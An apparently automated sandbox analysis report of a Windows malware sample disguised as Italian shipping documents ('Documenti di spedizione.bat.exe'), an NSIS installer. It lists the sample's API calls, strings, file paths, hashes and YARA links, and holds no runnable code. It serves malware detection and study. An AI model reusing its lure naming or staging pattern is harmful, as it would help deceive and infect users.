API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: Gazi Setup: Installing$dK
API String ID: 590372296-1064461354
Opcode ID: bd05f583e1d858ca64e0ebc0ccb0213cdf64d916f2755f86f6f3f2ff8d205a57
Instruction ID: e0dc4773203ce2f112709eab9a11bfc184f4d069c8d5349c47d5b80479340f4b
Opcode Fuzzy Hash: bd05f583e1d858ca64e0ebc0ccb0213cdf64d916f2755f86f6f3f2ff8d205a57
Instruction Fuzzy Hash: 10A148B1900208BFDF119F60DD89AAE7BB9FB48355F00407AFA01B61A0C7B55E51DF69

Function 00405F19 Relevance: 22.9, APIs: 8, Strings: 5, Instructions: 199
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersion.KERNEL32(?,Skipped: C:\Users\user\AppData\Local\Temp\nsgDADD.tmp\System.dll,00000000,00405148,Skipped: C:\Users\user\AppData\Local\Temp\nsgDADD.tmp\System.dll,00000000), ref: 00405FCA
GetSystemDirectoryA.KERNEL32(Call,00000400), ref: 00406045
GetWindowsDirectoryA.KERNEL32(Call,00000400), ref: 00406058
SHGetSpecialFolderLocation.SHELL32(?,00000000), ref: 00406094
SHGetPathFromIDListA.SHELL32(00000000,Call), ref: 004060A2
CoTaskMemFree.OLE32(00000000), ref: 004060AD
lstrcatA.KERNEL32(Call,\Microsoft\Internet Explorer\Quick Launch), ref: 004060CF
lstrlenA.KERNEL32(Call,?,Skipped: C:\Users\user\AppData\Local\Temp\nsgDADD.tmp\System.dll,00000000,00405148,Skipped: C:\Users\user\AppData\Local\Temp\nsgDADD.tmp\System.dll,00000000), ref: 00406121

Strings

Skipped: C:\Users\user\AppData\Local\Temp\nsgDADD.tmp\System.dll, xrefs: 00405F48
Software\Microsoft\Windows\CurrentVersion, xrefs: 00406014
Call, xrefs: 00405F40, 00406012, 0040602F, 00406044, 00406057, 00406073, 0040609E, 004060CE, 004060D4, 004060EC, 004060FF, 0040611A, 00406120, 0040612B, 00406155
-L, xrefs: 00405F26
\Microsoft\Internet Explorer\Quick Launch, xrefs: 004060C9

Memory Dump Source

Source File: 00000000.00000002.2621262951.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2621246363.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621284624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621385916.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Documenti di spedizione.jbxd

Similarity

API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskVersionWindowslstrcatlstrlen
String ID: Call$Skipped: C:\Users\user\AppData\Local\Temp\nsgDADD.tmp\System.dll$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch$-L
API String ID: 900638850-1549501429
Opcode ID: 91bdcf4667245f18d3d7c7fe1ddc958c0af6ea5d13b0ad944f7f20b056a88a1b
Instruction ID: 17f1afa1df4653d6aa239bb2462815deac18f6a32033811d9d8cd7bf3bfa2e02
Opcode Fuzzy Hash: 91bdcf4667245f18d3d7c7fe1ddc958c0af6ea5d13b0ad944f7f20b056a88a1b
Instruction Fuzzy Hash: 68613671A00111AEDF209F24CC84BBF3BA8EB45314F12813BE942BA2D1D77D4962DB5E

Function 10001A5D Relevance: 20.0, APIs: 13, Instructions: 540stringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 10001215: GlobalAlloc.KERNELBASE(00000040,10001233,?,100012CF,-1000404B,100011AB,-000000A0), ref: 1000121D

GlobalAlloc.KERNELBASE(00000040,000014A4), ref: 10001B67
lstrcpyA.KERNEL32(00000008,?), ref: 10001BAF
lstrcpyA.KERNEL32(00000408,?), ref: 10001BB9
GlobalFree.KERNEL32(00000000), ref: 10001BCC
GlobalFree.KERNEL32(?), ref: 10001CC4
GlobalFree.KERNEL32(?), ref: 10001CC9
GlobalFree.KERNEL32(?), ref: 10001CCE
GlobalFree.KERNEL32(00000000), ref: 10001E76
lstrcpyA.KERNEL32(?,?), ref: 10001FCA

Memory Dump Source

Source File: 00000000.00000002.2629006314.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2628993182.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2629018868.0000000010003000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2629030864.0000000010005000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_Documenti di spedizione.jbxd

Similarity

API ID: Global$Free$lstrcpy$Alloc
String ID:
API String ID: 4227406936-0
Opcode ID: 108015169a1f9511be137f3b76d088d284be53ebd3be1ec406ce9b744c5ee79e
Instruction ID: 780798ea066e4ece118e8e5fed0bf18c828ec290136deaf2e43fc5d0554b8685
Opcode Fuzzy Hash: 108015169a1f9511be137f3b76d088d284be53ebd3be1ec406ce9b744c5ee79e
Instruction Fuzzy Hash: 17129971D0424ADFFB20CFA4C8847EEBBF4FB043C4F61852AD5A1A2199DB749A81CB51

Function 00405799 Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 159
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileA.KERNELBASE(?,?,75923410,75922EE0,00000000), ref: 004057C2
lstrcatA.KERNEL32(00420D38,\*.*,00420D38,?,?,75923410,75922EE0,00000000), ref: 0040580A
lstrcatA.KERNEL32(?,00409014,?,00420D38,?,?,75923410,75922EE0,00000000), ref: 0040582B
lstrlenA.KERNEL32(?,?,00409014,?,00420D38,?,?,75923410,75922EE0,00000000), ref: 00405831
FindFirstFileA.KERNELBASE(00420D38,?,?,?,00409014,?,00420D38,?,?,75923410,75922EE0,00000000), ref: 00405842
FindNextFileA.KERNELBASE(00000000,00000010,000000F2,?,?,?,00000000,?,?,0000003F), ref: 004058EF
FindClose.KERNEL32(00000000), ref: 00405900

Strings

"C:\Users\user\Desktop\Documenti di spedizione.bat.exe", xrefs: 00405799
8B, xrefs: 004057F2
\*.*, xrefs: 00405804

Memory Dump Source

Source File: 00000000.00000002.2621262951.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2621246363.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621284624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621385916.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Documenti di spedizione.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: "C:\Users\user\Desktop\Documenti di spedizione.bat.exe"$8B$\*.*
API String ID: 2035342205-2776379736
Opcode ID: cfe99db393b1e675a819fff40dd9f0895a0815041bfdd0424623d1025dab5344
Instruction ID: 8d03ba635bdf6d692437a4f2007131f6bbb84493a6188974bf12e3b4770be62e
Opcode Fuzzy Hash: cfe99db393b1e675a819fff40dd9f0895a0815041bfdd0424623d1025dab5344
Instruction Fuzzy Hash: 3E51AF71900A14EADF217B618C49BAF7AB8DF42724F14807BF850762D2D73C8992DE6D

Function 004020CD Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 139comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(00407408,?,00000001,004073F8,?,?,00000045,000000CD,00000002,000000DF,000000F0), ref: 0040214C
MultiByteToWideChar.KERNEL32(?,?,?,000000FF,?,00000400,?,00000001,004073F8,?,?,00000045,000000CD,00000002,000000DF,000000F0), ref: 004021F8

Strings

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\semirigorously\Subarachnoid, xrefs: 0040218C

Memory Dump Source

Source File: 00000000.00000002.2621262951.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2621246363.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621284624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621385916.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Documenti di spedizione.jbxd

Similarity

API ID: ByteCharCreateInstanceMultiWide
String ID: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\semirigorously\Subarachnoid
API String ID: 123533781-2470430059
Opcode ID: f23b3e070ea651c53f475647926b923c96bbc9cd24cd4c0868bd15dc3a0dd132
Instruction ID: 13bc962cd5a1e0844f107594f4b7cb0b9a1bacf2988c66099de3663f442cfceb
Opcode Fuzzy Hash: f23b3e070ea651c53f475647926b923c96bbc9cd24cd4c0868bd15dc3a0dd132
Instruction Fuzzy Hash: 5A5107B5E00208BFCB00DFE4C988A9DBBB6EF48314F2445AAF515FB2D1DA799941CB54

Function 00406542 Relevance: 5.4, APIs: 4, Instructions: 382COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2621262951.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2621246363.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621284624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621385916.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Documenti di spedizione.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e78d97ed3c230bfcbd776d1da080b0f670dc0f56a58da5166f9bdd2003ef958d
Instruction ID: 395035d2fa7d2bfd2a07fc8d885f942395c55dc3dc65efbd6096f39d55049081
Opcode Fuzzy Hash: e78d97ed3c230bfcbd776d1da080b0f670dc0f56a58da5166f9bdd2003ef958d
Instruction Fuzzy Hash: 18F16671D00229CBCF28CFA8C8946ADBBB1FF44305F25856ED856BB281D7385A96DF44

Function 004061FB Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 14fileCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNELBASE(75923410,00421580,C:\,00405A9A,C:\,C:\,00000000,C:\,C:\,75923410,?,75922EE0,004057B9,?,75923410,75922EE0), ref: 00406206
FindClose.KERNEL32(00000000), ref: 00406212

Strings

C:\, xrefs: 004061FB

Memory Dump Source

Source File: 00000000.00000002.2621262951.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2621246363.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621284624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621385916.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Documenti di spedizione.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID: C:\
API String ID: 2295610775-3404278061
Opcode ID: f9303f41664d55177506eb3caad4b25aa18344ea0c32c7844788a1b00efad07c
Instruction ID: 9db82b8fa8063fa17328456ed946e1162a1eeecbf7bffbc6415ee5c88b4ce2a6
Opcode Fuzzy Hash: f9303f41664d55177506eb3caad4b25aa18344ea0c32c7844788a1b00efad07c
Instruction Fuzzy Hash: 6FD0133555D02057C30027746C0C44779545F653307124B77F456F52F0D3345C7245DD

Function 0040270B Relevance: 1.5, APIs: 1, Instructions: 29fileCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNELBASE(00000000,?,00000002), ref: 0040271A

Memory Dump Source

Source File: 00000000.00000002.2621262951.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2621246363.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621284624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621385916.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Documenti di spedizione.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: e9e1605c35cf92ad64c5223491071bd3b38123b796805ea0b055523b80a06de9
Instruction ID: 73f39e672a50c1adebb7c94b7850a11d736dff73d217dd7b8340578855458d28
Opcode Fuzzy Hash: e9e1605c35cf92ad64c5223491071bd3b38123b796805ea0b055523b80a06de9
Instruction Fuzzy Hash: 2CF02772604004AAC700EB6499089EEB778DB15324F60007BF180B20C0C7B84A429B2A

Function 00403C09 Relevance: 59.8, APIs: 32, Strings: 2, Instructions: 345
windowstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00403C45
ShowWindow.USER32(?), ref: 00403C62
DestroyWindow.USER32 ref: 00403C76
SetWindowLongA.USER32(?,00000000,00000000), ref: 00403C92
GetDlgItem.USER32(?,?), ref: 00403CB3
SendMessageA.USER32(00000000,000000F3,00000000,00000000), ref: 00403CC7
IsWindowEnabled.USER32(00000000), ref: 00403CCE
GetDlgItem.USER32(?,00000001), ref: 00403D7C
GetDlgItem.USER32(?,00000002), ref: 00403D86
SetClassLongA.USER32(?,000000F2,?), ref: 00403DA0
SendMessageA.USER32(0000040F,00000000,00000001,?), ref: 00403DF1
GetDlgItem.USER32(?,00000003), ref: 00403E97
ShowWindow.USER32(00000000,?), ref: 00403EB8
KiUserCallbackDispatcher.NTDLL(?,?), ref: 00403ECA
EnableWindow.USER32(?,?), ref: 00403EE5
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 00403EFB
EnableMenuItem.USER32(00000000), ref: 00403F02
SendMessageA.USER32(?,000000F4,00000000,00000001), ref: 00403F1A
SendMessageA.USER32(?,00000401,00000002,00000000), ref: 00403F2D
lstrlenA.KERNEL32(Gazi Setup: Installing,?,Gazi Setup: Installing,00422F20), ref: 00403F56
SetWindowTextA.USER32(?,Gazi Setup: Installing), ref: 00403F65
ShowWindow.USER32(?,0000000A), ref: 00404099

Strings

dK, xrefs: 00403FB3
Gazi Setup: Installing, xrefs: 00403F42, 00403F4C, 00403F55, 00403F63

Memory Dump Source

Source File: 00000000.00000002.2621262951.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2621246363.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621284624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621385916.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Documenti di spedizione.jbxd

Similarity

API ID: Window$Item$MessageSend$Show$EnableLongMenu$CallbackClassDestroyDispatcherEnabledSystemTextUserlstrlen
String ID: Gazi Setup: Installing$dK
API String ID: 3282139019-1064461354
Opcode ID: bcb4864de90c51be376c5c7d5e0fb192880a71d4046b15d718494db90bb2b626
Instruction ID: 2eb83949b6bd8974722fa043abbaf2d62199bae10e2b8edc7fb886fd11b27e7e
Opcode Fuzzy Hash: bcb4864de90c51be376c5c7d5e0fb192880a71d4046b15d718494db90bb2b626
Instruction Fuzzy Hash: 3EC1F2B1604201BBDB20AF61EE84E2B3ABCFB84305F51053EF611B11E1C7799842EB5E

Function 00403877 Relevance: 47.5, APIs: 13, Strings: 14, Instructions: 215
stringregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00406290: GetModuleHandleA.KERNEL32(?,?,?,00403329,00000009), ref: 004062A2
Part of subcall function 00406290: GetProcAddress.KERNEL32(00000000,?), ref: 004062BD

lstrcatA.KERNEL32(1033,Gazi Setup: Installing,80000001,Control Panel\Desktop\ResourceLocale,00000000,Gazi Setup: Installing,00000000,00000002,75923410,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\Documenti di spedizione.bat.exe",00000000), ref: 004038F2
lstrlenA.KERNEL32(Call,?,?,?,Call,00000000,C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\semirigorously,1033,Gazi Setup: Installing,80000001,Control Panel\Desktop\ResourceLocale,00000000,Gazi Setup: Installing,00000000,00000002,75923410), ref: 00403967
lstrcmpiA.KERNEL32(?,.exe), ref: 0040397A
GetFileAttributesA.KERNEL32(Call), ref: 00403985
LoadImageA.USER32(00000067,00000001,00000000,00000000,00008040,C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\semirigorously), ref: 004039CE

Part of subcall function 00405E55: wsprintfA.USER32 ref: 00405E62

RegisterClassA.USER32(00422EC0), ref: 00403A0B
SystemParametersInfoA.USER32(00000030,00000000,?,00000000), ref: 00403A23
CreateWindowExA.USER32(00000080,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00403A58
ShowWindow.USER32(00000005,00000000), ref: 00403A8E
GetClassInfoA.USER32(00000000,RichEdit20A,00422EC0), ref: 00403ABA
GetClassInfoA.USER32(00000000,RichEdit,00422EC0), ref: 00403AC7
RegisterClassA.USER32(00422EC0), ref: 00403AD0
DialogBoxParamA.USER32(?,00000000,00403C09,00000000), ref: 00403AEF

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 0040387C
Call, xrefs: 00403935, 0040393D, 0040394A, 00403994, 0040399A
RichEdit, xrefs: 00403AC1
Gazi Setup: Installing, xrefs: 004038A3, 004038A9, 004038CE, 004038D7, 004038EC
1033, xrefs: 00403897, 004038ED
_Nb, xrefs: 004039EA, 00403A52
RichEd20, xrefs: 00403A94
RichEd32, xrefs: 00403AA2
"C:\Users\user\Desktop\Documenti di spedizione.bat.exe", xrefs: 0040387B
.exe, xrefs: 00403974
.DEFAULT\Control Panel\International, xrefs: 004038DD
RichEdit20A, xrefs: 00403AB2, 00403AB8
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\semirigorously, xrefs: 00403901, 00403909, 004039A1, 004039A7, 004039B7
Control Panel\Desktop\ResourceLocale, xrefs: 004038AB

Memory Dump Source

Source File: 00000000.00000002.2621262951.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2621246363.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621284624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621385916.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Documenti di spedizione.jbxd

Similarity

API ID: Class$Info$RegisterWindow$AddressAttributesCreateDialogFileHandleImageLoadModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
String ID: "C:\Users\user\Desktop\Documenti di spedizione.bat.exe"$.DEFAULT\Control Panel\International$.exe$1033$C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\semirigorously$C:\Users\user\AppData\Local\Temp\$Call$Control Panel\Desktop\ResourceLocale$Gazi Setup: Installing$RichEd20$RichEd32$RichEdit$RichEdit20A$_Nb
API String ID: 1975747703-947547890
Opcode ID: b5acaa8937ced472a66d3687a921226f39372a12dbbf564bd8eff0e0bc24d963
Instruction ID: 29345e8072be8e75dc90901d6125d60d13300850aec60374d900494af90ecb47
Opcode Fuzzy Hash: b5acaa8937ced472a66d3687a921226f39372a12dbbf564bd8eff0e0bc24d963
Instruction Fuzzy Hash: 8161A4B06442407ED620AF65AD45F373A6CEB8474AF40447FF945B22E2C6BCAD029A3D

Function 00402D4A Relevance: 26.5, APIs: 5, Strings: 10, Instructions: 203
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00402D5E
GetModuleFileNameA.KERNEL32(00000000,C:\Users\user\Desktop\Documenti di spedizione.bat.exe,00000400), ref: 00402D7A

Part of subcall function 00405B6A: GetFileAttributesA.KERNELBASE(00000003,00402D8D,C:\Users\user\Desktop\Documenti di spedizione.bat.exe,80000000,00000003), ref: 00405B6E
Part of subcall function 00405B6A: CreateFileA.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00405B90

GetFileSize.KERNEL32(00000000,00000000,0042B000,00000000,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\Documenti di spedizione.bat.exe,C:\Users\user\Desktop\Documenti di spedizione.bat.exe,80000000,00000003), ref: 00402DC3
GlobalAlloc.KERNELBASE(00000040,00409130), ref: 00402F0A

Strings

Error launching installer, xrefs: 00402D9A
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author to obtain a new copy.More information at:http://nsis.sf.net/NSIS_Error, xrefs: 00402FA1
C:\Users\user\Desktop\Documenti di spedizione.bat.exe, xrefs: 00402D64, 00402D73, 00402D87, 00402DA4
Error writing temporary file. Make sure your temp folder is valid., xrefs: 00402F53
"C:\Users\user\Desktop\Documenti di spedizione.bat.exe", xrefs: 00402D4A
C:\Users\user\AppData\Local\Temp\, xrefs: 00402D54, 00402F22
soft, xrefs: 00402E3A
Inst, xrefs: 00402E31
Null, xrefs: 00402E43
C:\Users\user\Desktop, xrefs: 00402DA5, 00402DAA, 00402DB0

Memory Dump Source

Source File: 00000000.00000002.2621262951.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2621246363.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621284624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621385916.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Documenti di spedizione.jbxd

Similarity

API ID: File$AllocAttributesCountCreateGlobalModuleNameSizeTick
String ID: "C:\Users\user\Desktop\Documenti di spedizione.bat.exe"$C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\Documenti di spedizione.bat.exe$Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author to obtain a new copy.More information at:http://nsis.sf.net/NSIS_Error$Null$soft
API String ID: 2803837635-2268054644
Opcode ID: e5ab56cf196d26c18991739aeee88d59d7819f5e2225516add2df55f48501880
Instruction ID: 1e54d23c6bd4663b885b54a46d63d50a2b02afe17d1d0705d7bda66adc4b1b0c
Opcode Fuzzy Hash: e5ab56cf196d26c18991739aeee88d59d7819f5e2225516add2df55f48501880
Instruction Fuzzy Hash: 6661E5B1A40215ABDF20AF64DE89A9E76B8EB04355F11413FF904B72C1C7BC9D418B9C

Function 00401759 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 147
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcatA.KERNEL32(00000000,00000000,Call,C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\semirigorously\Subarachnoid,00000000,00000000,00000031), ref: 00401798
CompareFileTime.KERNEL32(-00000014,?,Call,Call,00000000,00000000,Call,C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\semirigorously\Subarachnoid,00000000,00000000,00000031), ref: 004017C2

Part of subcall function 00405EF7: lstrcpynA.KERNEL32(?,?,00000400,0040336D,00422F20,NSIS Error), ref: 00405F04

Part of subcall function 00405110: lstrlenA.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nsgDADD.tmp\System.dll,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D22,00000000,?), ref: 00405149
Part of subcall function 00405110: lstrlenA.KERNEL32(00402D22,Skipped: C:\Users\user\AppData\Local\Temp\nsgDADD.tmp\System.dll,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D22,00000000), ref: 00405159
Part of subcall function 00405110: lstrcatA.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nsgDADD.tmp\System.dll,00402D22,00402D22,Skipped: C:\Users\user\AppData\Local\Temp\nsgDADD.tmp\System.dll,00000000,00000000,00000000), ref: 0040516C
Part of subcall function 00405110: SetWindowTextA.USER32(Skipped: C:\Users\user\AppData\Local\Temp\nsgDADD.tmp\System.dll,Skipped: C:\Users\user\AppData\Local\Temp\nsgDADD.tmp\System.dll), ref: 0040517E
Part of subcall function 00405110: SendMessageA.USER32(?,00001004,00000000,00000000), ref: 004051A4
Part of subcall function 00405110: SendMessageA.USER32(?,00001007,00000000,00000001), ref: 004051BE
Part of subcall function 00405110: SendMessageA.USER32(?,00001013,?,00000000), ref: 004051CC

Strings

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\semirigorously\Subarachnoid, xrefs: 00401786
C:\Users\user\AppData\Local\Temp\nsgDADD.tmp\System.dll, xrefs: 00401826, 00401842
